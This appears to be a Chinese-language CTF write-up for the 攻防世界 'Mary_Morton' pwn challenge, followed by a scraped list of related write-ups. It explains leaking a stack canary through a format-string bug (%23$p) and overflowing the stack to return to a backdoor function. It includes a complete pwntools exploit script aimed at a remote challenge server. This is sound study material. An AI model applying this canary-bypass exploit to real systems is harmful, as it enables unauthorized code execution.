首先查看他的保护机制:(checksec)

有canary保护

然后我们拖进ida发现两处溢出点:

看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28h 两个值相等的时候   才能跳转到返回值,反之则调用stack_chk_fail

找到后门函数

思路:将两个漏洞结合利用,首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数

根据程序可以看出,v2应该就是canary的值,一开始,将_readfsqword(0x28u)的值给v2,后来又和v2做异或操作,只有v2与它还相等,程序返回0,否则返回不为零的数。

(图自https://blog.csdn.net/qq_43935969/article/details/104338030)

确定canary和输入参数的偏移:

发现6161616161的位置,所以偏移量是6

根据注释我们知道:buf在rbp-90h,v2在rbp-8h,所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp(64位程序),最后加上system的返回地址(后门函数地址)就get flag啦!

exp

from pwn import*#p = process('./Mary')
p = remote('220.249.52.133','54670')p.recvuntil('3. Exit the battle')
p.sendline('2')p.sendline('%23$p')p.recvuntil('0x')
canary = int(p.recv(16),16)
print(canary)flag_addr = 0x4008da
payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(flag_addr)p.recvuntil('3. Exit the battle')
p.sendline('1')
p.sendline(payload)p.interactive()

get flag

攻防世界Mary_Morton wp相关推荐

  1. 攻防世界 welpwn WP

    这道题出的确实很wel 拿到这题,查看保护 发现shellcode走不通,一般都是走rop路线 IDA打开,分析代码,发现main函数内调用了echo函数 这里的buf有0x400大,但是main不存 ...

  2. 攻防世界 logmein wp

    一个基本的算法逆向 拿到文件后直接丢到IDA中 发现程序需要运行到sub_4007F0()对应的是正确的flag 此题主要考察如何将long long型转化为字符串(写代码,强制类型转化就直接出来了 ...

  3. xctf攻防世界Leaking wp

    访问题目地址 "use strict";var randomstring = require("randomstring"); var express = re ...

  4. 攻防世界supersqli—wp

    题目很明显,应该就是SQL注入,提交1试试 有回显,那就再提交 1' 报错了,直接查数据库看看 提交1'; select databases --+ what's up?select,update,w ...

  5. 攻防世界 crypto---simpleRSA wp

    文章目录 前言 题目 解题过程 求解E1 求解E2 求P以及flag 前言 亚雷,你还知道更新博客啊? 题目 #!/usr/bin/env python3.9 # -*- coding: utf-8 ...

  6. 攻防世界 Mary_Morton

    刚开始我们都要ida静态分析一下 当为1的时候,发生格式化字符串泄露canary 当为2时候,栈溢出到后门函数 获得flag 先通过格式化字符串泄露计算偏移量 发现为第6个参数,然而 buf到cana ...

  7. 攻防世界Mary_Morton

    64位程序,开启了canary和nx保护 执行以下,效果如下: 有提示: 输入1那块存在栈溢出 输入2那块存在格式化字符串漏洞 拖到ida看一下 main函数: 栈溢出的函数: 有canary保护,根 ...

  8. [攻防世界 pwn]——Mary_Morton

    [攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...

  9. 【攻防世界 | WP】CAT

    [攻防世界 | WP]CAT 解题步骤 分析 学习知识 URL编码 什么是URL编码 解题步骤 分析 打开页面查看 输入url后发现没有反应,而输入127.0.0.1这类ip地址后,出现了回显 发现u ...

最新文章

  1. MySQL解压版安装
  2. sc修改服务器,华为sc服务器配置方法
  3. Carmaer 500W 逆变器初步测试
  4. python Clipping input data to the valid range for imshow with RGB data解决方法
  5. 获取url后的指定参数
  6. Java web项目报错 Java compiler level does not match the version of the installed Java project facet.
  7. Linux RedHat7.0 上vsftp配置
  8. 复练-关于面试的科技树-能力三核的彩蛋
  9. 鲨鱼 抓包 oracle,抓包工具wireshark的操作使用
  10. 2015 HUAS Summer Training#2 G
  11. (转)javascrit中的uriencode
  12. PHP7.1 狐教程【旧】不在更新,请点击新连接查看
  13. 如何有效管理项目进度?管控关键里程碑?
  14. 装修首页自定义全屏视频播放效果gif动态图片制作视频教程播放代码操作设置全屏居中阿里巴巴国际站
  15. 翻遍互联网都找不到的解决方案,一行代码轻松实现 Gitbook 默认折叠左侧菜单效果
  16. 你的个人所得税完税证明看准了吗?
  17. java 取一个数的各个位数
  18. (B站必备)使用BiliBiliTool,全自动完成B 站任务神器!!!
  19. 【2019/09/16】关于固态硬盘你不得不知道的那些事
  20. 获取今日时间范围区间

热门文章

  1. 逆向工程Python爬虫——国税局发票查验平台
  2. Pycharm Professional2018.3版安装教程
  3. 功能测试用例自动生成算法Pairwise
  4. paxos的应用场景
  5. 【机器学习】sklearn-GBDT调参-GradientBoostingClassifier
  6. FastReport实操:从Delphi应用程序中打印名片
  7. Ogre 3D的启动顺序 -----OGRE 3D 1.7 Beginner‘s Guide中文版 第九章
  8. nohup command/dev/null 21 是什么意思?
  9. GIT pull / push
  10. 笔记本--装不上系统怪问题